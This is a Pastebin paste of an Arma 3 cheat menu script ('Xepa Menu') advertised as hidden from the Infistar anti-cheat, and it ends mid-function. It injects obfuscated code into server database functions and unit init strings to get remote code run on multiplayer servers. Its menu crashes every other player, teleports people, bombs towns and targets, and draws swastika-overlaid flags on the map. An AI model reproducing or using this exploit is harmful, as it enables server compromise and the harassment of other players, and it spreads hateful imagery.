Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- comment " ¦ Xepa Menu 1 ¦ ";
- comment " ¦Infistar Hidden¦ ";
- comment " ¦Stream Friendly¦ ";
- comment " +===============+ ";
- missionNamespace setVariable ["RANDOMVAR",true];
- RANDOMVAR = {
- while{true} do {
- _GLOBAL_ARRAY = [[],[]];
- _get = {
- params["_GLOBAL_ARRAY","_data"];
- private["_name","_default","_index"];
- _name = _data select 0;
- _default = _data select 1;
- _index = (_GLOBAL_ARRAY select 0) find toLower(_name);
- if(_index == -1) exitWith {_default};
- (_GLOBAL_ARRAY select 1) select _index;
- };
- _set = {
- params["_GLOBAL_ARRAY","_data"];
- private["_name","_value","_index"];
- _name = _data select 0;
- _value = _data select 1;
- _index = (_GLOBAL_ARRAY select 0) find toLower(_name);
- if(_index == -1) then {
- (_GLOBAL_ARRAY select 0) pushBack toLower(_name);
- (_GLOBAL_ARRAY select 1) pushBack _value;
- } else {
- (_GLOBAL_ARRAY select 1) set [_index,_value];
- };
- };
- comment "Master switch (setting this to false will turn off the system)";
- [_GLOBAL_ARRAY,["IsRunning",true]] call _set;
- [_GLOBAL_ARRAY,["IsExiting",false]] call _set;
- comment "Setup functions";
- _re = {
- params["_GLOBAL_ARRAY","_get","_set","_code",["_wait",true]];
- private["_install","_array","_narray","_rofl"];
- if(typename _code == typename "") then {_code = compile _code;};
- if(!isNil {missionNamespace getVariable "life_fnc_saveGear"}) then {
- _rofl = str(_code);
- _rofl = _rofl select [1,count(_rofl)-2];
- _array = _rofl splitString "";
- _narray = [];
- {
- _narray pushBack _x;
- if(_x == "'") then {
- _narray pushback "'";
- };
- } forEach _array;
- _rofl = _narray joinString "";
- _code = compile _rofl;
- };
- _install = {
- systemchat "Installing RE";
- private["_a","_b","_c"];
- if(!isNil {missionNamespace getVariable "life_fnc_saveGear"}) then {
- systemchat "Detected life server";
- private["_mode","_packet","_array","_flag"];
- _mode = 3;
- _packet = [getPlayerUID player,playerSide,nil,_mode];
- _packet set[2,['"];[]spawn{
- REDONE = true;
- publicVariable ''''REDONE'''';
- _pved = false;
- while{true}do{
- if((markerText (''''_USE'''' + ''''R_DE'''' + ''''FINED #0/0/3'''')) != '''''''') then {
- addMissionEventHandler[''''EachFrame'''',''''
- REDONE3 = true;publicVariable ''''''''REDONE3'''''''';
- remo'''' + ''''veA'''' + ''''llMiss'''' + ''''ionEven'''' + ''''tHand'''' + ''''lers ''''''''EachF'''' + ''''rame'''''''';
- ''''''''B_sol'''' + ''''dier_PG_F'''''''' cr'''' + ''''eateUni'''' + ''''t [[0,0,0],gro'''' + ''''up BI'''' + ''''S_functio'''' + ''''ns_ma'''' + ''''inscope,''''''''if(tr'''' + ''''ue) the'''' + ''''n ''''+(markerText (''''_USE'''' + ''''R_DEFI'''' + ''''NED #0/0/3''''))+'''' ''''''''];
- (''''''''_USE'''' + ''''R_DEFI'''' + ''''NED #0/0/3'''''''') se'''' + ''''tMa'''' + ''''rkerTe'''' + ''''xt '''''''''''''''';
- ''''];
- };
- uiSleep 0.01;
- {
- deleteVehicle _x;
- } forEach (' + str(ASLtoAGL [0.102,0.102,0]) + ' nearEntities 10);
- if(isNil ''''REDONE2'''') then {
- REDONE2 = true;
- };
- if(!_pved) then {
- _pved = true;
- publicVariable ''''REDONE2'''';
- };
- };
- };["']];
- _packet remoteExecCall ["DB_fnc_updatePartial",2];
- _packet remoteExecCall ["DB_fnc_updatePlayerInfoPartial",2];
- _sender = player;
- _uid = getPlayerUID _sender;
- _side = playerSide;
- [_uid,_side,_sender] remoteExec ["DB_fnc_queryRequest",2];
- waitUntil{missionNamespace getVariable ["REDONE",false]};
- systemchat "RE INIT> Server thread started";
- waitUntil{missionNamespace getVariable ["REDONE2",false]};
- systemchat "RE INIT> Server thread running";
- } else {
- _a = ('
- [] spawn {
- REDONE = true;
- publicVariable "REDONE";
- _pved = false;
- while{true} do {
- if((markerText "_USER_DEFINED #0/0/3") != "") then {
- "B_soldier_PG_F" creat' + 'eUnit [[0,0,0],group BIS_function' + 's_mainscope,''''if(true) then '''' + (markerText "_USER_DEFINED #0/0/3") + '''';''''];
- "_USER_DEFINED #0/0/3" setM' + 'arkerText "";
- REDONE3 = true;publicVariable "REDONE3";
- };
- uiSleep 0.001;
- {
- deleteVehicle _x;
- } forEach (' + str(ASLtoAGL [0.102,0.102,0]) + ' nearEntities 10);
- if(isNil "REDONE2") then {
- REDONE2 = true;
- };
- if(!_pved) then {
- _pved = true;
- publicVariable "REDONE2";
- };
- };
- };
- ');
- systemchat "Non life server detected";
- _c = ("(typeof player) create");
- _c = _c + ("Unit [[0,0,0],create");
- _c = _c + ("Group sideLogic,'if(isserver) then {");
- _c = _c + _a;
- _c = _c + "};'];";
- _b = compile _c;
- call _b;
- waitUntil{missionNamespace getVariable ["REDONE",false]};
- systemchat "RE INIT> Server thread started";
- waitUntil{missionNamespace getVariable ["REDONE2",false]};
- systemchat "RE INIT> Server thread running";
- };
- };
- _marker = "_USER_DEFINED #0/0/3";
- if (!((markerPos _marker) isEqualTo [0.102,0.102,0]) || !(missionNamespace getVariable ["REDONE2",false])) then {
- deleteMarker _marker;
- _marker = createMarker [_marker, [0.102,0.102,0]];
- _marker setMarkerShape "ICON";
- _marker setMarkerType "mil_box";
- _marker setMarkerColor "ColorBlack";
- _marker setMarkerAlpha 0;
- [] call _install;
- };
- missionNamespace setVariable ["REDONE3",false];
- _marker setMarkerText str(_code);
- if(_wait) then {
- _timeout = diag_ticktime + 10;
- _execTrigger = false;
- waitUntil{
- if(diag_tickTime > _timeout) then {_timeout = 1e14; systemchat "ERROR: SERVER THREAD NOT RUNNING?";};
- if(missionNamespace getVariable "REDONE3") then {missionNamespace setVariable ["REDONE3",false]; systemchat "EXECUTED CODE";_execTrigger = true;};
- markerText _marker == ""
- };
- if !(_execTrigger) then {
- systemchat "EXECUTED CODE - NO SERVER RESPONSE";
- };
- };
- };
- _saveCFG = {
- params["_name","_value"];
- private["_a","_b","_c"];
- with profilenamespace do {
- _a = format["IGUI_GRID_CHAT_X_%1",_name];
- _b = format["%1 = %2;",_a,str(_value)];
- _c = compile _b;
- call _c;
- };
- saveProfileNamespace;
- };
- _rString = {
- ("a" + str(floor(random(900000))+100000));
- };
- _toSafeUIString = {
- params["_string"];
- private["_newstr"];
- _newstr = "";
- for "_i" from 0 to count(_string)-2 do {
- _newstr = _newstr + (_string select [_i,1]);
- _newstr = _newstr + " ";
- };
- _newstr = _newstr + (_string select [count(_string)-1,1]);
- _newstr;
- };
- _togVar = {
- params["_varname","_GLOBAL_ARRAY","_set","_get"];
- private["_value"];
- _value = [_GLOBAL_ARRAY,[_varname,false]] call _get;
- [_GLOBAL_ARRAY,[_varname,!_value]] call _set;
- !_value;
- };
- _DtCreate = {
- params["_GLOBAL_ARRAY","_set","_get","_text","_location",["_textColor",[1,1,1,1]],["_backColor",[0,0,0,0]]];
- private["_lastIndex","_newIndex","_display","_control","_DtData","_currentData"];
- disableSerialization;
- _lastIndex = [_GLOBAL_ARRAY,["DtIndexLast",15399]] call _get;
- _newIndex = _lastIndex + 1;
- [_GLOBAL_ARRAY,["DtIndexLast",_newIndex]] call _set;
- _newIndex cutrsc ["rscDynamicText","plain"];
- _display = uinamespace getvariable "BIS_dynamicText";
- _control = _display displayctrl 9999;
- _control ctrlsetposition _location;
- _control ctrlsetbackgroundcolor _backColor;
- _control ctrlsettextcolor _textColor;
- if(typename _text != "TEXT") then {
- _text = parseText _text;
- };
- _control ctrlSetStructuredText _text;
- _control ctrlCommit 0;
- _DtData = [_display,_newIndex];
- _currentData = [_GLOBAL_ARRAY,["DtDataArray",[]]] call _get;
- _currentData pushBack _DtData;
- [_GLOBAL_ARRAY,["DtDataArray",_currentData]] call _set;
- _DtData;
- };
- _DtGetControl = {
- params["_DtData"];
- disableSerialization;
- if(!isNull (_DtData select 0)) then {
- (_DtData select 0) displayCtrl 9999;
- } else {
- controlNull;
- };
- };
- _DtDelete = {
- params["_GLOBAL_ARRAY","_set","_get","_DtData"];
- private["_currentData","_index"];
- _currentData = [_GLOBAL_ARRAY,["DtDataArray",[]]] call _get;
- _index = _currentData find _DtData;
- if(_index != -1) then {
- ((_currentData deleteAt _index) select 1) cutText["","PLAIN"];
- };
- [_GLOBAL_ARRAY,["DtDataArray",_currentData]] call _set;
- };
- _cShape = {
- params["_code"];
- if(missionNamespace getVariable ["isDrawing",false]) exitWith {hint "You need to wait for the other drawing methods to finish"};
- _resolution = 20;
- _drawDottedLine = {
- _mapSize = ctrlPosition ((findDisplay 12) displayCtrl 51);
- _xMin = _mapSize select 0;
- _yMin = _mapSize select 1;
- _w = (_mapSize select 2);
- _h = (_mapSize select 3);
- params["_startPos","_endPos","_color","_resolution","_even","_step"];
- private["_cX","_cY","_sX","_sY","_xStart","_yStart","_dX","_dY","_x","_y","_pos","_markerstr"];
- _cX = ((_endPos select 0) - (_startPos select 0));
- _cY = ((_endPos select 1) - (_startPos select 1));
- _sX = _cX * _resolution;
- _sY = _cY * _resolution;
- _xStart = _xMin + ((_startPos select 0)*_w);
- _yStart = _yMin + ((_startPos select 1)*_h);
- for "_i" from 0 to (abs(_sX) max abs(_sY)) do {
- isDrawing = true;
- if ((_even && (_i % (_step + 1) == 0)) || (!_even && (_i % ((_step + 1) / 2) == 0) && !(_i % (_step + 1) == 0))) then {
- _dX = (_i/_resolution) * (_sX / (abs(_sX) max abs(_sY)));
- _dY = (_i/_resolution) * (_sY / (abs(_sX) max abs(_sY)));
- _x = _xStart + (_w * _dX);
- _y = _yStart + (_h * _dY);
- _pos = (((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [(_startPos select 0) + _dX,(_startPos select 1) + _dY]);
- _pos pushback 0;
- _name = "#USER:" + str(_pos);
- deleteMarker _name;
- _markerstr = createMarker [_name, _pos];
- _markerstr setMarkerShape "ICON";
- _markerstr setMarkerType "mil_box";
- _markerstr setMarkerColor _color;
- };
- };
- isDrawing = false;
- };
- _drawLine = {
- _mapSize = ctrlPosition ((findDisplay 12) displayCtrl 51);
- _xMin = _mapSize select 0;
- _yMin = _mapSize select 1;
- _w = (_mapSize select 2);
- _h = (_mapSize select 3);
- params["_startPos","_endPos","_color","_resolution"];
- private["_cX","_cY","_sX","_sY","_xStart","_yStart","_dX","_dY","_x","_y","_pos","_markerstr"];
- _cX = ((_endPos select 0) - (_startPos select 0));
- _cY = ((_endPos select 1) - (_startPos select 1));
- _sX = _cX * _resolution;
- _sY = _cY * _resolution;
- _xStart = _xMin + ((_startPos select 0)*_w);
- _yStart = _yMin + ((_startPos select 1)*_h);
- for "_i" from 0 to (abs(_sX) max abs(_sY)) do {
- isDrawing = true;
- _dX = (_i/_resolution) * (_sX / (abs(_sX) max abs(_sY)));
- _dY = (_i/_resolution) * (_sY / (abs(_sX) max abs(_sY)));
- _x = _xStart + (_w * _dX);
- _y = _yStart + (_h * _dY);
- _pos = (((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [(_startPos select 0) + _dX,(_startPos select 1) + _dY]);
- _pos pushback 0;
- _name = "#USER:" + str(_pos);
- deleteMarker _name;
- _markerstr = createMarker [_name, _pos];
- _markerstr setMarkerShape "ICON";
- _markerstr setMarkerType "mil_box";
- _markerstr setMarkerColor _color;
- };
- isDrawing = false;
- };
- _drawSWAS = {
- params["_scale","_color",["_adjustscale",true],["_scaler",0]];
- _dX = 0.5 * (1 - (1*_scale));
- if(!_adjustscale) then {_dX = _scaler * (1 - (1*_scale));};
- [[0.5*_scale + _dX,0*_scale + _dX],[0.5*_scale + _dX,1*_scale + _dX],_color,_resolution] spawn _drawLine;
- [[0.5*_scale + _dX,0*_scale + _dX],[1*_scale + _dX,0*_scale + _dX],_color,_resolution] spawn _drawLine;
- [[0.5*_scale + _dX,1*_scale + _dX],[0*_scale + _dX,1*_scale + _dX],_color,_resolution] spawn _drawLine;
- [[0*_scale + _dX,0.5*_scale + _dX],[1*_scale + _dX,0.5*_scale + _dX],_color,_resolution] spawn _drawLine;
- [[0*_scale + _dX,0.5*_scale + _dX],[0*_scale + _dX,0*_scale + _dX],_color,_resolution] spawn _drawLine;
- [[1*_scale + _dX,0.5*_scale + _dX],[1*_scale + _dX,1*_scale + _dX],_color,_resolution] spawn _drawLine;
- };
- _drawHorizFlag = {
- params["_colors"];
- _itemsPer = floor(_resolution / count(_colors));
- _j = 1;
- _k = 0;
- _threads = [];
- for "_i" from ((2/_resolution)) to 1 step (1/_resolution) do {
- if(_j > _itemsPer) then {
- _k = _k + 1;
- _j = 1;
- };
- if(_k == count(_colors)) exitWith {};
- _color = _colors select _k;
- _threads pushBack ([[0,_i],[1,_i],_color,_resolution] spawn _drawLine);
- _j = _j + 1;
- };
- _done = 0;
- _total = count(_threads);
- while{count(_threads) > 0} do {
- systemchat ("Drawing Flag: " + str(round((_done / _total) * 100)) + "%");
- {
- if(scriptDone _x) exitWith {
- _done = _done + 1;
- _threads deleteAt _forEachIndex;
- };
- } forEach _threads;
- };
- systemchat ("Drawing Flag: 100%");
- };
- _drawGPF = {
- _colors = [
- "ColorRed",
- "ColorOrange",
- "ColorYellow",
- "ColorGreen",
- "ColorBlue",
- "ColorCIV"
- ];
- [_colors] call _drawHorizFlag;
- };
- _drawGermanFlag = {
- _colors = [
- "ColorBlack",
- "ColorRed",
- "ColorYellow"
- ];
- [_colors] call _drawHorizFlag;
- };
- _drawRussianFlag = {
- _colors = [
- "ColorWhite",
- "ColorBlue",
- "ColorRed"
- ];
- [_colors] call _drawHorizFlag;
- };
- _drawAmericanBlue = {
- _threads = [];
- for "_i" from ((2/_resolution)) to 0.5 step (1/_resolution) do {
- _threads pushback ([[0,_i],[0.5,_i],"ColorBlue",_resolution] spawn _drawLine);
- };
- _done = 0;
- _total = count(_threads);
- while{count(_threads) > 0} do {
- systemchat ("Drawing Blue: " + str(round((_done / _total) * 100)) + "%");
- {
- if(scriptDone _x) exitWith {
- _done = _done + 1;
- _threads deleteAt _forEachIndex;
- };
- } forEach _threads;
- };
- };
- _drawAmericanStars = {
- _threads = [];
- _j = 1;
- _k = 1;
- for "_i" from ((2/_resolution)) to 0.5 step (1/_resolution) do {
- if(_j % 2 == 0) then {
- _threads pushback ([[0,_i],[0.5,_i],"ColorWhite",_resolution, (_k % 2 != 0), 3] spawn _drawDottedLine);
- _k = _k + 1;
- };
- _j = _j + 1;
- };
- _done = 0;
- _total = count(_threads);
- while{count(_threads) > 0} do {
- systemchat ("Drawing Stars: " + str(round((_done / _total) * 100)) + "%");
- {
- if(scriptDone _x) exitWith {
- _done = _done + 1;
- _threads deleteAt _forEachIndex;
- };
- } forEach _threads;
- };
- };
- _drawAmericanStripes = {
- _colors = [
- "ColorRed",
- "ColorWhite",
- "ColorRed",
- "ColorWhite",
- "ColorRed",
- "ColorWhite",
- "ColorRed",
- "ColorWhite",
- "ColorRed",
- "ColorWhite",
- "ColorRed",
- "ColorWhite",
- "ColorRed"
- ];
- [_colors] call _drawHorizFlag;
- };
- _drawAmericanFlag = {
- call _drawAmericanStripes;
- call _drawAmericanBlue;
- call _drawAmericanStars;
- };
- _drawNeoGPF = {
- call _drawGPF;
- [0.5,"ColorBlack"] call _drawSWAS;
- };
- _drawNeoGermany = {
- call _drawGermanFlag;
- [0.5,"ColorWhite"] call _drawSWAS;
- };
- _drawNeoRussia = {
- call _drawRussianFlag;
- [0.5,"ColorBlack"] call _drawSWAS;
- };
- _drawNeoAmerica = {
- call _drawAmericanStripes;
- call _drawAmericanBlue;
- [0.4,"ColorWhite",false,0.083] call _drawSWAS;
- };
- _drawString = {
- params["_words","_color"];
- _offset = 0;
- {
- switch(_x) do {
- case "A": {
- [[0 + _offset,0.5],[0.15 + _offset,0],_color,_resolution] call _drawLine;
- [[0.15 + _offset,0],[0.3 + _offset,0.5],_color,_resolution] call _drawLine;
- [[0.075 + _offset,0.25],[0.225 + _offset,0.25],_color,_resolution] call _drawLine;
- _offset = _offset + 0.325;
- };
- case "B": {
- [[0 + _offset,0.5],[0 + _offset,0],_color,_resolution] call _drawLine;
- [[0 + _offset,0],[0.20 + _offset,0],_color,_resolution] call _drawLine;
- [[0.2 + _offset,0],[0.3 + _offset,0.1],_color,_resolution] call _drawLine;
- [[0.3 + _offset,0.1],[0.3 + _offset,0.2],_color,_resolution] call _drawLine;
- [[0.3 + _offset,0.2],[0.25 + _offset,0.25],_color,_resolution] call _drawLine;
- [[0.25 + _offset,0.25],[0.3 + _offset,0.3],_color,_resolution] call _drawLine;
- [[0.3 + _offset,0.3],[0.3 + _offset,0.4],_color,_resolution] call _drawLine;
- [[0.3 + _offset,0.4],[0.2 + _offset,0.5],_color,_resolution] call _drawLine;
- [[0.2 + _offset,0.5],[0 + _offset,0.5],_color,_resolution] call _drawLine;
- [[0 + _offset,0.25],[0.25 + _offset,0.25],_color,_resolution] call _drawLine;
- _offset = _offset + 0.325;
- };
- case "C": {
- [[0.1 + _offset,0],[0.3 + _offset,0],_color,_resolution] call _drawLine;
- [[0.1 + _offset,0.5],[0.3 + _offset,0.5],_color,_resolution] call _drawLine;
- [[0 + _offset,0.15],[0 + _offset,0.35],_color,_resolution] call _drawLine;
- [[0.1 + _offset,0],[0 + _offset,0.15],_color,_resolution] call _drawLine;
- [[0.1 + _offset,0.5],[0 + _offset,0.35],_color,_resolution] call _drawLine;
- _offset = _offset + 0.325;
- };
- case "D": {
- [[0 + _offset,0],[0 + _offset,0.5],_color,_resolution] call _drawLine;
- [[0 + _offset,0],[0.2 + _offset,0],_color,_resolution] call _drawLine;
- [[0 + _offset,0.5],[0.2 + _offset,0.5],_color,_resolution] call _drawLine;
- [[0.3 + _offset,0.15],[0.3 + _offset,0.35],_color,_resolution] call _drawLine;
- [[0.2 + _offset,0],[0.3 + _offset,0.15],_color,_resolution] call _drawLine;
- [[0.3 + _offset,0.35],[0.2 + _offset,0.5],_color,_resolution] call _drawLine;
- _offset = _offset + 0.325;
- };
- case "E": {
- [[0 + _offset,0],[0 + _offset,0.5],_color,_resolution] call _drawLine;
- [[0 + _offset,0],[0.3 + _offset,0],_color,_resolution] call _drawLine;
- [[0 + _offset,0.5],[0.3 + _offset,0.5],_color,_resolution] call _drawLine;
- [[0 + _offset,0.25],[0.2 + _offset,0.25],_color,_resolution] call _drawLine;
- _offset = _offset + 0.325;
- };
- case "F": {};
- case "G": {};
- case "H": {};
- case "I": {};
- case "J": {};
- case "K": {};
- case "L": {};
- case "M": {};
- case "N": {};
- case "O": {};
- case "P": {};
- case "Q": {};
- case "R": {};
- case "S": {};
- case "T": {};
- case "U": {};
- case "V": {};
- case "W": {};
- case "X": {};
- case "Y": {};
- case "Z": {};
- case " ": { _offset = _offset + 0.3; };
- };
- } forEach (toUpper(_words) splitString "");
- };
- call _code;
- };
- _sLocal = {
- params["_vehicle","_code"];
- player reveal [_vehicle,4];
- player allowDamage false;
- _oldPos = getpos player;
- moveout(driver _vehicle);
- _tOut = diag_tickTime + 5;
- waitUntil{isNull (driver _vehicle) || diag_tickTime > _tOut};
- uiSleep 0.025;
- player moveInDriver _vehicle;
- waitUntil{vehicle player != player || diag_tickTime > _tOut};
- waitUntil{local (vehicle player)};
- call _code;
- moveOut player;
- waitUntil{vehicle player == player || diag_tickTime > _tOut};
- player setVelocity [0,0,0];
- player setPos _oldPos;
- player allowDamage true;
- };
- comment "Load config";
- {
- if(toLower(_x) find toLower("IGUI_GRID_CHAT_X_") == 0) then {
- with profilenamespace do (compile ("
- [_GLOBAL_ARRAY,['" + tolower(_x) + "'," + _x + "]] call _set;
- "));
- };
- } forEach (allVariables profilenamespace);
- comment "Setup Scripts";
- _teto = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- player setpos getpos _target;
- hint "Teleported To";
- };
- _tehe = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _target setpos getpos player;
- hint "Teleported Here";
- };
- _weaponize = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(vehicle player == player) exitWith {hint "You must be in a vehicle to weaponize it!";};
- (vehicle player) addWeapon "gatling_30mm";
- (vehicle player) addMagazine "250Rnd_30mm_HE_shells";
- (vehicle player) addMagazine "250Rnd_30mm_HE_shells";
- (vehicle player) addMagazine "250Rnd_30mm_HE_shells";
- (vehicle player) addMagazine "250Rnd_30mm_HE_shells";
- hint "Weaponized";
- };
- _nosway = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(_toggleStatus) then {
- hint "no sway on";
- player setCustomAimCoef 0;
- } else {
- hint "no sway off";
- player setCustomAimCoef 1;
- };
- };
- comment "Drawing scripts";
- _drawngpf = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- closeDialog 0;
- hint "press ESC to select a location to draw the flag";
- openMap [true,false];
- while{visibleMap} do {
- uiSleep 0.01;
- };
- hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
- [{
- _resolution = 100;
- call _drawNeoGPF;
- }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
- };
- _drawngf = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- closeDialog 0;
- hint "press ESC to select a location to draw the flag";
- openMap [true,false];
- while{visibleMap} do {
- uiSleep 0.01;
- };
- hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
- [{
- _resolution = 100;
- call _drawNeoGermany;
- }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
- };
- _drawnrf = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- closeDialog 0;
- hint "press ESC to select a location to draw the flag";
- openMap [true,false];
- while{visibleMap} do {
- uiSleep 0.01;
- };
- hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
- [{
- _resolution = 100;
- call _drawNeoRussia;
- }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
- };
- _drawnaf = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- closeDialog 0;
- hint "press ESC to select a location to draw the flag";
- openMap [true,false];
- while{visibleMap} do {
- uiSleep 0.01;
- };
- hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
- [{
- _resolution = 20;
- call _drawNeoAmerica;
- }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
- };
- _drawgp = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- closeDialog 0;
- hint "press ESC to select a location to draw the flag";
- openMap [true,false];
- while{visibleMap} do {
- uiSleep 0.01;
- };
- hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
- [{
- _resolution = 100;
- call _drawGPF;
- }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
- };
- _drawaf = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- closeDialog 0;
- hint "press ESC to select a location to draw the flag";
- openMap [true,false];
- while{visibleMap} do {
- uiSleep 0.01;
- };
- hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
- [{
- _resolution = 100;
- call _drawAmericanFlag;
- }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
- };
- _drawrf = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- closeDialog 0;
- hint "press ESC to select a location to draw the flag";
- openMap [true,false];
- while{visibleMap} do {
- uiSleep 0.01;
- };
- hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
- [{
- _resolution = 100;
- call _drawRussianFlag;
- }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
- };
- _drawgf = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- closeDialog 0;
- hint "press ESC to select a location to draw the flag";
- openMap [true,false];
- while{visibleMap} do {
- uiSleep 0.01;
- };
- hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
- [{
- _resolution = 100;
- call _drawGermanFlag;
- }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
- };
- _lnear = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _veh = nearestObject [getpos player, "LandVehicle"];
- if(isNull _veh) then {
- _veh = nearestObject [getpos player, "Air"];
- };
- if(isNull _veh) then {
- _veh = nearestObject [getpos player, "Ship"];
- };
- if(_veh in vehicles) then {
- hint "Launching vehicle";
- [_veh,{
- vehicle player setVelocity [0,0,100];
- }] call ([_GLOBAL_ARRAY,["sLocal",{}]] call _get);
- };
- };
- _lall = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- {
- if(alive _x && (_x isKindOf "LandVehicle" || _x isKindOf "Air" || _x isKindOf "Ship")) then {
- [_x,{
- vehicle player setVelocity [0,0,100];
- }] call ([_GLOBAL_ARRAY,["sLocal",{}]] call _get);
- };
- } forEach vehicles;
- hint "launched!";
- };
- _lcursor = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(cursorObject in vehicles) then {
- hint "Launching cursor";
- [cursorObject,{
- vehicle player setVelocity [0,0,100];
- }] call ([_GLOBAL_ARRAY,["sLocal",{}]] call _get);
- };
- };
- _ltarget = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(vehicle _target == _target) exitWith {hint "You can only launch vehicles!";};
- hint "Launching...";
- [vehicle _target,{
- vehicle player setVelocity [0,0,100];
- }] call ([_GLOBAL_ARRAY,["sLocal",{}]] call _get);
- };
- _lforward = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(cursorObject in vehicles) then {
- hint "Launching cursor";
- _direction = (vectorNormalized (eyeDirection player)) vectorMultiply 50;
- _direction set[2,5];
- [cursorObject,compile ("
- _pos = getpos vehicle player;
- _pos set[2,2];
- (vehicle player) setpos _pos;
- vehicle player setVelocity " + str(_direction) + ";
- ")] call ([_GLOBAL_ARRAY,["sLocal",{}]] call _get);
- };
- };
- _exptarget = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _v = "Bomb_04_F" createVehicleLocal (getpos _target);
- _v setposatl (getposatl _target);
- _v setVelocity [0,0,-1000];
- };
- _expcursor = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _pos = screenToWorld [0.5,0.5];
- _v = "Bomb_04_F" createVehicleLocal _pos;
- _v setposatl _pos;
- _v setVelocity [0,0,-1000];
- };
- _swave = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- player allowDamage false;
- _pos = getPos Player;
- for "_i" from 1 to 10 do {
- uiSleep 0.2;
- for "_dir" from 5 to 360 step 5 do {
- _delta = (vectorNormalized [sin(_dir),cos(_dir),0]) vectorMultiply 20;
- _npos = _pos vectorAdd (_delta vectorMultiply _i);
- _npos set[2,0];
- player allowDamage false;
- _v = "Bomb_04_F" createVehicleLocal _npos;
- player allowDamage false;
- _v setVelocity [0,0,-1000];
- player setVelocity [0,0,0];
- };
- player setpos _pos;
- };
- player allowDamage true;
- };
- _bwave = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _delta = (vectorNormalized (eyeDirection player)) vectorMultiply 20;
- _pos = getPos Player;
- player allowDamage false;
- for "_i" from 1 to 10 do {
- uiSleep 0.2;
- _pos = _pos vectorAdd _delta;
- _pos set[2,0];
- player allowDamage false;
- _v = "Bomb_04_F" createVehicleLocal _pos;
- player allowDamage false;
- _v setVelocity [0,0,-1000];
- };
- player allowDamage true;
- };
- _temap = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- closeDialog 0;
- hint "To teleport center the map on where you want to go and press ESCAPE";
- openMap [true,false];
- _coords = [0,0,0];
- while{visibleMap} do {
- _coords = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [0.5,0.5];
- uiSleep 0.01;
- };
- player setpos _coords;
- };
- _newk = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _locations = [];
- _threads = [];
- _stop = diag_tickTime + 60;
- hint "N U K I N G";
- while{diag_tickTime < _stop} do {
- _location = locationPosition (nearestLocation [[random(worldSize),random(worldSize),0],""]);
- if !(_location in _locations) then {
- _locations pushBack _location;
- _thread = _location spawn {
- _buildings = nearestObjects [_this, ["Building"], 1000];
- {
- if !(_x getVariable ["runloops",false]) then {
- _v = "Bomb_04_F" createVehicleLocal (getpos _x);
- _v setVelocity [0,0,-1000];
- };
- uiSleep (60/(count(_buildings)));
- } forEach _buildings;
- };
- _threads pushback _thread;
- };
- };
- {
- if(!scriptDone _x) then {
- terminate _x;
- };
- } forEach _threads;
- hint "D O N E";
- };
- _call = {
- {_x setPos[1e14,1e14,1e14];uiSleep .1;systemchat("<Xepa>: Crashing "+name _x);} forEach (allPlayers-[player]);
- };
- _ctarget = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(vehicle _target != _target) then {
- waitUntil{moveOut _target;((vehicle _target == _target) || !alive _target)};
- };
- _target setPosATL [1e14,1e14,1e14];
- };
- _tpall = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- {
- _x setpos getpos player;
- uiSleep .1;
- } forEach allPlayers;
- };
- _fastb = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(_toggleStatus) then {
- _var = player addEventHandler ["Fired",{
- params["_unit","_weapon","_muzzle","_mode","_ammo","_magazine","_projectile"];
- if(!isNull _projectile) then {
- _v = velocity _projectile;
- _v = _v vectorMultiply 100;
- _projectile setVelocity _v;
- };
- }];
- [_GLOBAL_ARRAY,["FB",_var]] call _set;
- hint "Fast Bulelts On";
- } else {
